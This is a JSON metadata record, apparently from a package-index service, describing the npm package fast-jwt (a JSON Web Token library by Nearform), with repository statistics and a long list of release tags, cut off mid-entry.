{"id":19737,"name":"fast-jwt","ecosystem":"npm","repository_url":"https://github.com/nearform/fast-jwt","issues_count":52,"created_at":"2025-06-07T01:50:19.342Z","updated_at":"2025-06-07T01:50:19.342Z","purl":"pkg:npm/fast-jwt","metadata":{"id":1707200,"name":"fast-jwt","ecosystem":"npm","description":"Fast JSON Web Token implementation","homepage":"https://github.com/nearform/fast-jwt","licenses":"Apache-2.0","normalized_licenses":["Apache-2.0"],"repository_url":"https://github.com/nearform/fast-jwt","keywords_array":["jwt"],"namespace":null,"versions_count":58,"first_release_published_at":"2020-06-23T09:14:07.319Z","latest_release_published_at":"2025-03-20T16:37:52.518Z","latest_release_number":"6.0.0","last_synced_at":"2025-03-20T16:40:16.811Z","created_at":"2022-04-09T15:26:49.196Z","updated_at":"2025-03-21T09:00:28.756Z","registry_url":"https://www.npmjs.com/package/fast-jwt","install_command":"npm install fast-jwt","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"6.0.0"}},"repo_metadata":{"id":37406481,"uuid":"234146172","full_name":"nearform/fast-jwt","owner":"nearform","description":"Fast JSON Web Token implementation","archived":false,"fork":false,"pushed_at":"2024-10-21T18:18:56.000Z","size":1033,"stargazers_count":347,"open_issues_count":8,"forks_count":30,"subscribers_count":83,"default_branch":"master","last_synced_at":"2024-10-22T09:39:27.890Z","etag":null,"topics":["hacktoberfest","jwt","jwt-token"],"latest_commit_sha":null,"homepage":"https://nearform.github.io/fast-jwt/","language":"JavaScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"other","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/nearform.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE.md","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-01-15T18:31:08.000Z","updated_at":"2024-10-21T18:17:49.000Z","dependencies_parsed_at":"2023-11-07T17:47:49.424Z","dependency_job_id":"595711db-b0a3-4b8b-8776-0f01e1f30c70","html_url":"https://github.com/nearform/fast-jwt","commit_stats":{"total_commits":273,"total_committers":42,"mean_commits":6.5,"dds":0.7582417582417582,"last_synced_commit":"42becd7ba580530e2c5d28405ead21fdf695e1c1"},"previous_names":[],"tags_count":48,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nearform","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":222119788,"owners_count":16934949,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"nearform","name":"Nearform","uuid":"1544687","kind":"organization","description":"","email":"hello@nearform.com","website":"http://www.nearform.com/","location":"Ireland","twitter":"NearForm","company":null,"icon_url":"https://avatars.githubusercontent.com/u/1544687?v=4","repositories_count":326,"last_synced_at":"2024-04-10T12:51:00.706Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/nearform","funding_links":[],"total_stars":6004,"followers":207,"following":0,"created_at":"2022-11-04T05:01:19.877Z","updated_at":"2024-04-10T12:52:48.987Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nearform","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/nearform/repositories"},"tags":[{"name":"v4.0.1","sha":"f284e209b4891419da761e72e1dc90b5305f7fc9","kind":"commit","published_at":"2024-04-27T16:21:31.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v4.0.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v4.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.1/manifests"},{"name":"v4.0.0","sha":"8384c8107c44546dc47aff16be9386cf9d305daf","kind":"commit","published_at":"2024-02-15T23:07:32.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v4.0.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v4.0.0/manifests"},{"name":"v3.3.3","sha":"6e5bf0081899703f8006ac75fc11cca5d2d84b67","kind":"commit","published_at":"2024-01-29T10:58:38.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.3.3","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.3/manifests"},{"name":"v3.3.2","sha":"6604166db410371590af56ade555a97f77484995","kind":"commit","published_at":"2023-11-20T14:30:16.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.3.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.2/manifests"},{"name":"v3.3.1","sha":"d5ac9f2ca79bf11576bdf95d89edb85bd91d1a0c","kind":"commit","published_at":"2023-10-05T09:31:54.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.3.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"ae98d8132b451523ff4a0e7dfab3f105197a9fd8","kind":"commit","published_at":"2023-09-21T11:10:41.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.3.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.3.0/manifests"},{"name":"v3.2.0","sha":"6a044bb402d36cabc6a53ccef03db81e7aab43da","kind":"commit","published_at":"2023-08-18T10:49:22.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.2.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.2.0/manifests"},{"name":"v3.1.1","sha":"b01a15c995bff6608878a535e88452f92c76e126","kind":"commit","published_at":"2023-06-08T15:41:17.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.1.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.1.1/manifests"},{"name":"v3.1.0","sha":"20b60bed72d7127efcb710882448e92e5a7b0e9a","kind":"commit","published_at":"2023-05-30T10:54:02.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.1.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.1.0/manifests"},{"name":"v3.0.0","sha":"5047511a3a9391765f702907e136f526b7dcae81","kind":"commit","published_at":"2023-05-18T11:12:03.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v3.0.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v3.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v3.0.0/manifests"},{"name":"v2.2.3","sha":"988ee8ac96183248bfaf1a2500401039cfe725de","kind":"commit","published_at":"2023-05-11T12:22:31.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.2.3","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.3/manifests"},{"name":"v2.2.2","sha":"1247667d5816268338b75d604709ef4e31eeffb0","kind":"commit","published_at":"2023-04-27T08:59:37.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.2.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.2/manifests"},{"name":"v2.2.1","sha":"d0d641a78d58db53b6abef0f7db05ba3777b0216","kind":"commit","published_at":"2023-03-30T09:32:26.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.2.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.1/manifests"},{"name":"v2.2.0","sha":"a46f8e0ea33d419882f1ad2833c5012bb604d3e3","kind":"commit","published_at":"2023-02-07T11:07:14.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.2.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.2.0/manifests"},{"name":"v2.1.0","sha":"318d351fbc2b6687ef69c6b23307799b7affab72","kind":"commit","published_at":"2023-01-10T11:23:17.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.1.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.1.0/manifests"},{"name":"v2.0.2","sha":"d3b57d3f44a834ac43e74311b9bb7783dc9ff029","kind":"commit","published_at":"2022-11-18T11:41:01.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.0.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.0.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.0.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.0.2/manifests"},{"name":"v2.0.0","sha":"d6270e4f8ef3ef5638d8e316dd90d985f99e9f23","kind":"commit","published_at":"2022-11-14T17:05:53.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v2.0.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v2.0.0/manifests"},{"name":"v1.7.2","sha":"31209b3e1f5493e89a5c009e6527a4de973f3763","kind":"commit","published_at":"2022-11-13T11:16:20.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.7.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.2/manifests"},{"name":"v1.7.1","sha":"c5ed86385c5c084bc30f248793d8cca048f7f211","kind":"commit","published_at":"2022-09-06T09:55:04.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.7.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.1/manifests"},{"name":"v1.7.0","sha":"d88f03499671da58ec21b22b4815c66807a38b87","kind":"commit","published_at":"2022-08-01T16:06:41.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.7.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.7.0/manifests"},{"name":"v1.6.1","sha":"ef2615b7ebbf1cf03f1ce2a4130fcbce1f82663d","kind":"commit","published_at":"2022-07-10T21:37:42.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.6.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.6.1/manifests"},{"name":"v1.6.0","sha":"474109c77b122022f1d51eeba7fb97466d3836e0","kind":"commit","published_at":"2022-06-21T09:22:01.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.6.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.6.0/manifests"},{"name":"v1.5.4","sha":"0c60acd08ab6b8cbeca14b0e3d32a555bf7381c7","kind":"commit","published_at":"2022-04-28T11:12:51.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.4","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.4","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.4/manifests"},{"name":"v1.5.3","sha":"fe11cc65f6063083e77d95d45929a59f0587a408","kind":"commit","published_at":"2022-04-06T08:01:00.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.3","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.3/manifests"},{"name":"v1.5.2","sha":"66eab88cc6b30bdd6e9cee45d88bd2abdc52b794","kind":"commit","published_at":"2022-04-04T14:46:04.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.2/manifests"},{"name":"v1.5.1","sha":"1ab02127260afebb75cc151a7284af7856a8a79e","kind":"commit","published_at":"2022-02-21T14:15:42.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.1/manifests"},{"name":"v1.5.0","sha":"94b1f2ddc304ec4fdf50a4ccbd4ee8e1e5584664","kind":"commit","published_at":"2022-02-17T14:21:46.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.5.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.5.0/manifests"},{"name":"v1.4.1","sha":"87eb00a559c747265a93abcd9e1720a33864af21","kind":"commit","published_at":"2021-12-30T09:56:35.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.4.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.4.1/manifests"},{"name":"v1.4.0","sha":"47ae343727d2bea251d62f59ae99f9dd4c39b435","kind":"commit","published_at":"2021-12-01T16:51:17.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.4.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.4.0/manifests"},{"name":"v1.3.2","sha":"64d708da672e98c7ed282d19ad94cebe497a49ec","kind":"commit","published_at":"2021-11-10T10:17:13.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.3.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.2/manifests"},{"name":"v1.3.1","sha":"3775179b4dc707d95a7bf27aa16273537bd274bd","kind":"tag","published_at":"2021-11-10T10:15:13.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.3.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.1/manifests"},{"name":"v1.3.0","sha":"c5ee92f6e5bcd66a16bd1eb4b05028d9b799c4a2","kind":"commit","published_at":"2021-11-01T11:12:01.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.3.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.3.0/manifests"},{"name":"v1.2.0","sha":"3797baed48f10a5ea1be1a42fd568f78b81e6d22","kind":"commit","published_at":"2021-06-18T09:44:58.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.2.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.2.0/manifests"},{"name":"v1.1.3","sha":"afc21fe439dd6318032f20b4ded5455c27496bea","kind":"commit","published_at":"2021-03-11T21:59:10.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.1.3","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.1.3","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.3/manifests"},{"name":"v1.1.2","sha":"79c2d4f395f203c0d7851436891c31fc20e8a894","kind":"commit","published_at":"2021-03-10T09:49:14.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.1.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.2/manifests"},{"name":"v1.1.1","sha":"74280953b1837e84e4863b2ab1dac8b72ac85a08","kind":"tag","published_at":"2021-03-08T16:36:03.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.1.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.1/manifests"},{"name":"v1.1.0","sha":"8f9ad666a5a161a4d8d944ff4cde7f7a68e6d03f","kind":"commit","published_at":"2021-01-25T07:34:00.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.1.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.1.0/manifests"},{"name":"v1.0.0","sha":"787d3c4af0570fb36fc0763c39cdeb7e3274a974","kind":"tag","published_at":"2021-01-21T12:06:38.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v1.0.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v1.0.0/manifests"},{"name":"v0.5.1","sha":"0b843ad29082408b5ab0da77bd4ba3dc6673ec88","kind":"tag","published_at":"2020-10-24T12:47:48.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.5.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"b88bce09f7e3f8993e6cf994371abb74c718b9f7","kind":"tag","published_at":"2020-10-24T08:23:40.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.5.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.5.0/manifests"},{"name":"v0.4.2","sha":"e5d425bad5494c5d60881e20d173a2312bfe681d","kind":"commit","published_at":"2020-10-13T09:08:50.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.4.2","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"2f4796cf2587aa647590fdc277925a278841468a","kind":"commit","published_at":"2020-09-09T14:02:32.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.4.1","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/nearform%2Ffast-jwt/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"12e22a25a1c9b1b05a2252c6f81e2ef4bd4b3601","kind":"commit","published_at":"2020-09-08T13:56:32.000Z","download_url":"https://codeload.github.com/nearform/fast-jwt/tar.gz/v0.4.0","html_url":"https://github.com/nearform/fast-jwt/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"ta